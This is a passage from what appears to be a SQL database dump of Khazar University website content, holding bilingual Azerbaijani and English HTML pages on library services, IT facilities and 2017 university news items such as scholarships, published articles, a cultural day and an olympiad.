Information Center collects printed and electronic materials in Azerbaijani, English, Russian, Turkish, Arabic, Persian, German, French, Japan, Chinese and other modern European and Oriental languages in the fields of Business Studies, Economics and Management, Engineering and Applied Sciences, Education, Social Sciences, Political Science and International Relations, Legal Studies, Education, Language Studies, Arts, Philosophy, Literature, History, and Medical Sciences. An average 75% of the library materials are in English. Textbooks published all over the world, as well as publications of Khazar University Press are widely presented in the library. Khazar University LIC has an extensive reference collection, including monolingual and bilingual encyclopedias, special collections of rare books, manuscripts, and other materials.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>What electronic resources do the library have?</strong></p><p style=\"text-align:justify\"><strong></strong>Users may search the Online Public Access Catalog (OPAC) for materials such as books, periodicals, video recordings, CD-ROM in English, Azeri, Russian and other languages. Users can create bibliographies easily by computing, saving and printing selected titles into a personalized book bag.</p><p style=\"text-align:justify\">University library has been able to provide online access across the world to eBooks, eJournals, web sites and data bases through our&nbsp;<a href=\"http://webopac.khazar.org/wx/S.exe\">e-Catalog.</a></p><p style=\"text-align:justify\"><a href=\"http://webopac.khazar.org/wx/S.exe\"></a>Khazar University Library Information Center provides access to variety of electronic resources, such as EBSCO, Oxford Reference Online, IOPscience, BioOne, Edward Elgar Publishing, etc.</p><p style=\"text-align:justify\">Periodicals, published at the Khazar University Press and research outputs of the Khazar University staff are available through Institutional repository (<a href=\"http://dspace.khazar.org/\">http://dspace.khazar.org</a>).</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>How do I contact the library?</strong></p><p style=\"text-align:justify\"><strong></strong>See<em>&nbsp;</em><strong><a href=\"http://www.khazar.org/en/menus/1301/opening_hours\">Opening Hours</a><em>.</em></strong><strong></strong></p><p style=\"text-align:justify\"><strong style=\"font-weight:bold\">E-mail</strong><strong>:&nbsp;</strong><a href=\"mailto:library@khazar.org\">library@khazar.org</a>  <br></p>'),(5025,2928,'az','İT imkanları','İT imkanları','<p style=\"text-align:justify\">Xəzər Universiteti KİM İT imkanlarını təchiz etməklə oxuculara elektron resurs,\r\nkataloq, rəqəmsal kolleksiyalara müraciət etməyə, mətnin elektron işlənmə,\r\nelektron cədvəl proqram təminatına, ümumi internetə və email-ə girişə şərait\r\nyaradır.</p><p style=\"text-align:justify\">Sadalanmış imkanların böyük əksəriyyəti KİM kompüter zalında cəmləşdirilmişdir.&nbsp;Bununla bərabər,&nbsp;oxu zalları oxucuların maraq dairələrinə uyğun olaraq\r\nəlavə resurslara əldə etməyə də imkan yaradır. IT imkanları kabelsiz internet\r\nşəbəkəsi (Wi-Fi) istisna olmaqla, kitabxana elektron xidməti və sistem\r\nrəhbərliyi tərəfindən dəstəklənir.</p><p style=\"text-align:justify\">Ətraflı məlumat üçün&nbsp;<a href=\"http://www.khazar.org/az/menus/1323/service_statement\"><strong>elektron mənbələrdən istifadə qaydaları</strong></a>na\r\nnəzər salın.&nbsp;</p>'),(5026,2928,'en','IT Facilities','IT Facilities','<p style=\"text-align:justify\">The LIC provides IT facilities to enable readers to consult our\r\nelectronic resources, catalogue, and digital collections, to make use of\r\nword-processing and spreadsheet software, and for general internet and e-mail\r\naccess.</p>\r\n<p style=\"text-align:justify\">Most general facilities are concentrated in the LIC Computer\r\nHall but Reading Halls have access to additional resources appropriate to their\r\narea of interest. IT facilities, with the exception of wireless networking, are\r\nsupported by the library\'s Electronic Services and System administrator, who\r\nare able to provide assistance.</p>\r\n<p style=\"text-align:justify\">For more information please see&nbsp;<a href=\"http://www.khazar.org/en/menus/1323/service_statement\"><strong>Statement</strong></a>&nbsp;on Appropriate Use of\r\nElectronic&nbsp;Resources.&nbsp;</p>'),(3072,1812,'en','Khazar University Student Earns Azercell Scholarship','Azercell LLC completed the final selections of its Student Bursary Program launched on October 1, 2016 to support the development of students’ academic potential in Azerbaijan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Azercell LLC completed the\r\nfinal selections of its Student Bursary Program launched on October 1, 2016 to\r\nsupport the development of students’ academic potential in Azerbaijan. Azim\r\nHashimov, third-year bachelor’s student of Khazar University’s School of Engineering\r\nand Applied Sciences&nbsp;majoring in Oil and Gas Engineering, was among the\r\ngrantees. &nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Twenty-seven\r\nstudents from different Higher Education Institutions of Azerbaijan became\r\n“Azercell scholars” through a multi-stage selection process.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">For more information\r\nsee: <a href=\"http://azedupress.com/?p=8089\">http://azedupress.com/?p=8089</a></p>'),(3073,1813,'az','“Xəzər”in əməkdaşının məqaləsi çapdan çıxdı','2016-cı il dekabrında Xəzər Universiteti Neft mühəndisliyi departamentinin müdiri Qəşəm Zeynalovun və onun elmi rəhbərliyi ilə tədqiqat aparan Xəzər Universitetinin doktorantura...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il dekabrında Xəzər Universiteti\r\nNeft mühəndisliyi departamentinin müdiri Qəşəm Zeynalovun və onun elmi rəhbərliyi\r\nilə tədqiqat aparan Xəzər Universitetinin doktorantura tələbəsi Muhammed\r\nİsmailin “Petrophysical Modeling of the Tertiary reservoirs in the small giant\r\nBai Hassan oil field, Northern Iraq” adlı müştərək məqaləsi “İnternational\r\nJournal of Enhanced Research in Sciences, Technology &amp; Engineering”\r\njurnalında çapdan çıxmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.erpublications.com/uploaded_files/download/download_05_01_2017_18_18_40.pdf\">http://www.erpublications.com/uploaded_files/download/download_05_01_2017_18_18_40.pdf</a>.</p>'),(3074,1813,'en','Khazar University Employee’s Article Published','In December, 2016, a co-authored article titled “Petrophysical Modeling of the Tertiary reservoirs in the small giant Bai Hassan oil field, Northern Iraq” by Gasham Zeynalov...','<p>In\r\nDecember, 2016, a co-authored article titled “Petrophysical Modeling of the\r\nTertiary reservoirs in the small giant Bai Hassan oil field, Northern Iraq” by Gasham\r\nZeynalov, head of Khazar University’s Department of Oil Engineering, and his\r\ndoctoral student Muhammed Ismail was published in the <em>International Journal of Enhanced Research in Sciences, Technology\r\n&amp; Engineering</em>.</p>\r\n<p>Read\r\nthe full article here: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.erpublications.com/uploaded_files/download/download_05_01_2017_18_18_40.pdf\">http://www.erpublications.com/uploaded_files/download/download_05_01_2017_18_18_40.pdf</a>.</p>'),(3075,1816,'en','Khazar University Student Wins Nationwide Contest','Farid Aghalarov, 4th year bachelor’s student of Khazar University’s School of Humanities and Social Scieneces and employee of the Media Center of the university, won...','<p>Farid\r\nAghalarov, 4th year bachelor’s student of Khazar University’s School of\r\nHumanities and Social Scieneces and employee of the Media Center of the\r\nuniversity, won “Multiculturalism and Interreligous Tolerance: Azerbaijani\r\nExpereince and Global Perspectives”, a photo and poster contest organized by\r\nThe Trade Union Comeetee of Water Industry Workers of Azerbaijan, with a photo\r\ntitled “A Door to Azerbaijani Multicultiralism”. </p>\r\n<p>We\r\ncongratulate our student and wish him success in his future endeavors. &nbsp;</p>'),(3076,1816,'az','Tələbəmiz respublika müsabiqəsinin qalibi oldu','Humanitar və sosial elmlər fakültəsinin dördüncü kurs tələbəsi, universitetin Multimedia mərkəzinin əməkdaşı Fərid Ağalarov Azərbaycan Su Təsərrüfatı İşçiləri Həmkarlar...','<p>Humanitar və sosial elmlər fakültəsinin dördüncü\r\nkurs tələbəsi, universitetin Multimedia mərkəzinin əməkdaşı Fərid Ağalarov Azərbaycan\r\nSu Təsərrüfatı İşçiləri Həmkarlar İttifaqı Respublika Komitəsinin poster və\r\nfoto üzrə keçirdiyi “Multikulturalizm və dinlərarası tolerantlıq: Azərbaycan təcrübəsi\r\nvə qlobal perspektivlər” adlı müsabiqədə “Azərbaycan multikulturalizminə açılan\r\nqapı” adlı fotosu ilə qalib gəldiyinə görə Fəxri Diplomla təltif edilmişdir. </p>\r\n<p>Tələbəmizi bu münasibətlə təbrik edir, ona yeni\r\nuğurlar arzulayırıq.</p>'),(3077,1817,'az','Məzunlar Assosiasiyasında görüş','2017-ci il  yanvarın 11-də  Xəzər Universiteti Məzunlarla İş Mərkəzinin müdiri Baba Bayramlı universitetin Məzunlar Assosiasiyasında oldu və assosiasiyanın üzvləri ilə gələcək...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil&nbsp; yanvarın 11-də<strong>&nbsp; </strong>Xəzər Universiteti<strong> </strong>Məzunlarla İş Mərkəzinin müdiri Baba\r\nBayramlı universitetin Məzunlar Assosiasiyasında oldu və assosiasiyanın üzvləri\r\nilə gələcək əməkdaşlıqla bağlı müzakirələr apardı. Assosiasiyanın İcra Komitəsinə\r\nyeni qəbul olunmuş üzvlərə fəaliyyətlərində uğurlan arzulandı və gündəlik işin\r\noperativ təşkili üçün onların arasında iş bölgüsü aparıldı. Əsasən İqtisadiyyat və menecment fakültəsinin\r\ntələbələri üçün nəzərdə tutulan və Azərbaycanda hazırda bank sektorunda baş verən\r\nproseslərin təhlilinə həsr olunacaq növbəti ustad dərsinin 2017-ci ilin\r\nfevralında keçirilməsi qərara alındı. Həmin tədbirin əvvəlində Məzunlar\r\nAssosiasiyasının loqosu və devizinin də təqdim olunması nəzərdə tutulur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə assosiasiyanın prezidenti Eldar Həmidov da iştirak\r\nedirdi.</p>'),(3078,1818,'az','“Dünya” məktəbində “Misir Mədəniyyəti günü” keçirildi','2017-ci il yanvarın 11-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində “Misir Mədəniyyəti günü” keçirildi. Tədbirdə Xəzər Universiteti Direktorlar və Qəyyumlar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il yanvarın 11-də Xəzər\r\nUniversitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində “Misir Mədəniyyəti\r\ngünü” keçirildi. Tədbirdə Xəzər Universiteti Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı ilə yanaşı, Misirin Azərbaycandakı səfiri Suzan\r\nCəmil, Misir Mədəniyyət və Təhsil Əlaqələri Mərkəzinin rəhbəri Əhməd Sami\r\nElaydi, İordaniya və Sudan səfirləri, Səudiyyə Ərəbistanı, Mərakeş, Küveyt,\r\nƏlcair və digər ərəb ölkələri səfirliklərinin nümayəndələri, Binəqədi Rayon\r\nİcra başçısının müavini Aygün Əliyeva, millət vəkili Nizami Cəfərov və bir çox\r\nsiyasət, elm, sənət xadimləri iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">“Elçi daşı” layihəsi çərçivəsində\r\nkeçirilən tədbirin məqsədi Azərbaycandakı səfirliklər, xarici ölkələrin mədəniyyət\r\nmərkəzləri ilə əməkdaşlıq etmək, ölkələri şagirdlərə daha yaxından tanıtmaqdır.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbirlə bağlı daha geniş məlumatı bu\r\nlinklər vasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universitetinde_Misir_Medeniyyet_Gunu_kechirilib-1026198\">http://azertag.az/xeber/Xezer_Universitetinde_Misir_Medeniyyet_Gunu_kechirilib-1026198</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.day.az/azerinews/858368.htm\">http://news.day.az/azerinews/858368.htm</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://sia.az/az/news/culture/587161-bakida-misir-medeniyyet-gunu-kecirilib\">http://sia.az/az/news/culture/587161-bakida-misir-medeniyyet-gunu-kecirilib</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.kaspi.az/az/misir-medeniyyet-gunu-kecirilib/\">http://www.kaspi.az/az/misir-medeniyyet-gunu-kecirilib/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://eurasiadiary.az/news/culture/99016-xezer-universitetinin-dunya-mektebinde-misir-medeniyyet-gunu-kecirilib\">http://eurasiadiary.az/news/culture/99016-xezer-universitetinin-dunya-mektebinde-misir-medeniyyet-gunu-kecirilib</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://salamnews.org/az/news/read/253437\">http://salamnews.org/az/news/read/253437</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://report.az/medeniyyet-siyaseti/bakida-misir-medeniyyet-gunu-kecirilib/\">https://report.az/medeniyyet-siyaseti/bakida-misir-medeniyyet-gunu-kecirilib/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.milli.az/society/507112.html\">http://news.milli.az/society/507112.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=193239\">http://hafta.az/index2.php?m=yazi&amp;id=193239</a>.&nbsp;&nbsp;</p>'),(3079,1819,'az','Doktoranturaya qəbul imtahanı davam edir','12 yanvar, 2017-ci il tarixində Xəzər universitetində doktoranturaya qəbul imtahanlarının...','<p>12 yanvar, 2017-ci il tarixində Xəzər\r\nuniversitetində doktoranturaya qəbul imtahanlarının ikinci mərhələsi keçirilmişdir.<strong></strong></p>'),(3081,1818,'en','“Egyptian Cultural Day” Held at Dunya School','On January 11, 2017, a celebration entitled “Egyptian Cultural Day” was held in Khazar University’s affiliate Dunya School. The ceremony was attended by Professor Hamlet Isaxanli...','<p>On\r\nJanuary 11, 2017, a celebration entitled “Egyptian Cultural Day” was held in\r\nKhazar University’s affiliate Dunya School. The ceremony was attended by\r\nProfessor Hamlet Isaxanli, the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, Susan Jamil, the&nbsp;Egyptian\r\nAmbassador&nbsp;to the Republic of Azerbaijan, Ahmad Sami Elaydi, head of the\r\nEgyptian Cultural and Educational Relations Center, the ambassadors of Jordan\r\nand Sudan to Azerbaijan. Other participants included representatives from the\r\nembassies of Saudi Arabia, Marrakesh, Kuwait, Algeria and other Arab countries,\r\nAygun Aliyeva, Deputy Mayor of Binagadi District, Nizami Jafarov, Member of\r\nParliament, members of other governmental bodies as well as people of science\r\nand arts.</p>\r\n<p>Organized\r\nas part of the “Elçi daşı” project, the celebration was meant&nbsp;to improve ties\r\nwith embassies and cultural centers of different countries in Baku and provide\r\nstudents with information about those countries.</p>\r\n<p>For\r\nmore information about the event see:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universitetinde_Misir_Medeniyyet_Gunu_kechirilib-1026198\">http://azertag.az/xeber/Xezer_Universitetinde_Misir_Medeniyyet_Gunu_kechirilib-1026198</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.day.az/azerinews/858368.htm\">http://news.day.az/azerinews/858368.htm</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://sia.az/az/news/culture/587161-bakida-misir-medeniyyet-gunu-kecirilib\">http://sia.az/az/news/culture/587161-bakida-misir-medeniyyet-gunu-kecirilib</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.kaspi.az/az/misir-medeniyyet-gunu-kecirilib/\">http://www.kaspi.az/az/misir-medeniyyet-gunu-kecirilib/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://eurasiadiary.az/news/culture/99016-xezer-universitetinin-dunya-mektebinde-misir-medeniyyet-gunu-kecirilib\">http://eurasiadiary.az/news/culture/99016-xezer-universitetinin-dunya-mektebinde-misir-medeniyyet-gunu-kecirilib</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://salamnews.org/az/news/read/253437\">http://salamnews.org/az/news/read/253437</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://report.az/medeniyyet-siyaseti/bakida-misir-medeniyyet-gunu-kecirilib/\">https://report.az/medeniyyet-siyaseti/bakida-misir-medeniyyet-gunu-kecirilib/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.milli.az/society/507112.html\">http://news.milli.az/society/507112.html</a>;</p>\r\n<p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=193239\">http://hafta.az/index2.php?m=yazi&amp;id=193239</a></p>'),(3080,1819,'en','Entrance exams for PhD programs are in progress','The second stage of the entrance exams for PhD programs at Khazar University...','<p>The second stage of the entrance exams for PhD\r\nprograms at Khazar University was held on January 12, 2017.&nbsp;</p>'),(3082,1820,'az','“Dünya” məktəbində “Təhsil ağlın simasidir” adlı olimpiada keçirildi','2017-ci il yanvarın 14-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində istedadlı şagirdlərin müəyyən edilməsi, məktəblərarası dostluq əlaqələrinin...','<p>2017-ci il\r\nyanvarın 14-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya”\r\nməktəbində istedadlı şagirdlərin müəyyən edilməsi, məktəblərarası dostluq əlaqələrinin\r\nmöhkəmləndirilməsi məqsədilə Bakı şəhəri üzrə VI-VIII sinif şagirdləri arasında\r\n“Təhsil ağlın simasidir” adlı riyaziyyat fənni üzrə növbəti olimpiada\r\nkeçirildi. Olimpiadada bütün Bakı şəhər məktəblərindən 1100 (min yüz) nəfərə\r\nyaxın şagird iştirak edirdi.</p>'),(3083,1820,'en','“Education is the Face of Intellect” Olympiad in Dunya School','On January 14, 2017, a mathematical Olympiad titled  “Education is the Face of Intellect” for grades 6 to 8 was held in Khazar University’s affiliate Dunya School to discover...','<p>On January 14, 2017, a mathematical Olympiad\r\ntitled <strong>&nbsp;</strong>“Education is the Face of Intellect”<strong> </strong>for grades 6 to\r\n8 was held in Khazar University’s affiliate Dunya School to discover talented\r\nstudents and promote interschool relationships. About 1100 pupils from the\r\nschools in Baku participated at the Olympiad.&nbsp;</p>'),(3229,1904,'en','“Triangle of Science” Showing on Public TV','On February 19, 2017, the “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors...','<p>On February 19, 2017, the “Elm üçbucağı” (Triangle\r\nof Science) program by Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, was broadcast\r\non Public TV. The broadcast was a showing of the December 29<sup>th</sup>\r\nlecture on “Scholars and the Ways to Obtain Knowledge.”</p>'),(3230,1902,'en','Masterclass on “Bank Risks Management”','On February 25, 2017, a masterclass on “Bank Risks Management” will be organized by Khazar University Alumni Association...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:105%\"\"=\"\">On February 25, 2017, a masterclass on\r\n“Bank Risks Management” will be organized by Khazar University Alumni\r\nAssociation and Alumni Relations Centre in room 102N on the Neftchiler Campus. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:105%\"\"=\"\">Khazar University Alumni Association’s\r\nlogo and slogan will be presented during the event. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:105%\"\"=\"\">The event starts at 11.00.&nbsp;</p>'),(3084,1811,'en','Seminar to be held on “Interactive Methods in Teaching and Learning Foreign Languages”','On April 14-15, 2017, Khazar University will hold a two-day seminar titled “Interactive methods in teaching and learning foreign languages” based on...','<p>On April 14-15, 2017, Khazar\r\nUniversity will hold a two-day seminar titled “Interactive methods in teaching and\r\nlearning foreign languages” based on\r\n“English Language Portfolio” with the cooperation of&nbsp; OÜ Lingatore, Estonia. The seminar will take place on the\r\nNeftchilar Campus.&nbsp; </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The seminar is\r\nintended for high school teachers, teachers of higher educational intuitions as\r\nwell as people interested in teaching and learning foreign languages. The\r\ntwo-day seminar will cover various aspects of teaching and learning foreign\r\nlanguages and ways to apply interactive teaching methods using practical\r\nexamples and role-playing games as well as age-appropriate instructional\r\nstrategies. </p>\r\n<p>Participation\r\nin the seminar is free of charge. </p>\r\n<p>Please register by March 31, 2017 by\r\nsending an email to <a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>.&nbsp;</p>'),(3085,1821,'az','Universitet əməkdaşının məqaləsi çap olundu','Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müəllimi dosent Elmira Məmmədova-Kekeçin “Vücudnamələr Türk xalqlarının ədəbiyyatında avtobioqrafik...','<p>Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müəllimi dosent Elmira Məmmədova-Kekeçin “Vücudnamələr Türk\r\nxalqlarının ədəbiyyatında avtobioqrafik göstərici kimi” (“<em>Age poetry as autobiographic items in the literature of Turkic nations”</em>)\r\nadlı məqaləsi “İnternational journal of Scientific and engineering research”\r\njurnalının VII bölüm dekabr nömrəsində çapdan çıxmışdır. Jurnal elektron\r\nversiyadadır. Məqalə ilə bu link vasitəsilə tanış olmaq olar:</p>\r\n<p><a href=\"http://www.ijser.org/onlineResearchPaperViewer.aspx?AGE-POETRY-AS-AUTOBIOGRAPHIC-ITEMS-IN-THE-LITERATURE-OF-TURKIC-NATIONS.pdf\">http://www.ijser.org/onlineResearchPaperViewer.aspx?AGE-POETRY-AS-AUTOBIOGRAPHIC-ITEMS-IN-THE-LITERATURE-OF-TURKIC-NATIONS.pdf</a>.</p>'),(3086,1821,'en','Khazar University Employee’s Article Published','Elmira Mammadova-Kekech, instructor for Khazar University’s Department of Azerbaijani Language and Literature, wrote an article entitled “Age Poetry as Autobiographic...','<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Elmira Mammadova-Kekech, instructor for Khazar University’s\r\nDepartment of Azerbaijani Language and Literature, wrote an article entitled “Age\r\nPoetry as Autobiographic Items in the Literature of Turkic Nations” which was\r\npublished in the December issue of the <em>International\r\nJournal of Scientific and Engineering Research</em>. </p>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Read the full article here: </p>\r\n<p><a href=\"http://www.ijser.org/onlineResearchPaperViewer.aspx?AGE-POETRY-AS-AUTOBIOGRAPHIC-ITEMS-IN-THE-LITERATURE-OF-TURKIC-NATIONS.pdf\">http://www.ijser.org/onlineResearchPaperViewer.aspx?AGE-POETRY-AS-AUTOBIOGRAPHIC-ITEMS-IN-THE-LITERATURE-OF-TURKIC-NATIONS.pdf</a>.</p>'),(3087,1823,'az','“Xəzər”in doktorantı APA-ya müsahibə verdi','2017-ci il yanvarın 18-də APA İnformasiya Agentliyi Xəzər Universitetinin doktorantı Sana İmran ilə müsahibəni yayınlamışdır. Müsahibə ingilis dilindədir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil yanvarın 18-də APA İnformasiya Agentliyi Xəzər Universitetinin doktorantı Sana\r\nİmran ilə müsahibəni yayınlamışdır. Müsahibə ingilis dilindədir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni\r\nbu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://en.apa.az/azerbaijan-politics/foreign-news/sana-imran-azerbaijan-a-fast-developing-very-safe-muslim-country-of-south-caucasus-interview.html\">http://en.apa.az/azerbaijan-politics/foreign-news/sana-imran-azerbaijan-a-fast-developing-very-safe-muslim-country-of-south-caucasus-interview.html</a>.&nbsp;&nbsp;</p>'),(3088,1824,'az','Təsisçi mətbuata müsahibə verdi','2017-ci il yanvarın 18-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ali təhsil müəssisələrinin gələcəyi ilə bağlı müsahibə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil yanvarın 18-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı ali təhsil müəssisələrinin gələcəyi\r\nilə bağlı müsahibə vermişdir. Müsahibəni respublikanın bir çox kütləvi\r\ninformasiya vasitələri yayınlamışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni\r\nbu linklər vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://publika.az/news/bilik/184206.html\">http://publika.az/news/bilik/184206.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-25057/%22D%C3%B6vl%C9%99t_universitetl%C9%99rinin_d%C9%99_bir_%C3%A7oxu_ba%C4%9Flanacaq%22_-__%C5%9EOK_A%C3%87IQLAMA_\">http://www.sherg.az/site/id-25057/“Dövlət_universitetlərinin_də_bir_çoxu_bağlanacaq”_-__ŞOK_AÇIQLAMA_</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azerinews.tv/cemiyyet/6293-rektordan-ok-aqlama-dvlt-universitetlrinin-d-bir-oxu-balanacaq.html\">http://azerinews.tv/cemiyyet/6293-rektordan-ok-aqlama-dvlt-universitetlrinin-d-bir-oxu-balanacaq.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://yenizaman.az/v5/w60480/.../\">http://yenizaman.az/v5/w60480/.../</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://dunyamedia.az/c%C9%99miyy%C9%99t/9040.html\">http://dunyamedia.az/cəmiyyət/9040.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://regioninfo.az/rektordan-sok-aciqlama-dovl%C9%99t-universitetl%C9%99rinin-d%C9%99-bir-coxu-baglanacaq/\">http://regioninfo.az/rektordan-sok-aciqlama-dovlət-universitetlərinin-də-bir-coxu-baglanacaq/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.azertaym.az/sosial/19217-dovlet-universitetlerinin-de-bir-choxu-baglanacaq-.html\">http://www.azertaym.az/sosial/19217-dovlet-universitetlerinin-de-bir-choxu-baglanacaq-.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://milliyol.az/_d_vlet_universitetlerinin_de_bir__oxu_ba_lanacaq__-__ok_a_iqlama-5695-xeber.html\">http://milliyol.az/_d_vlet_universitetlerinin_de_bir__oxu_ba_lanacaq__-__ok_a_iqlama-5695-xeber.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://rublika.az/index.php?newsid=21629\">http://rublika.az/index.php?newsid=21629</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a 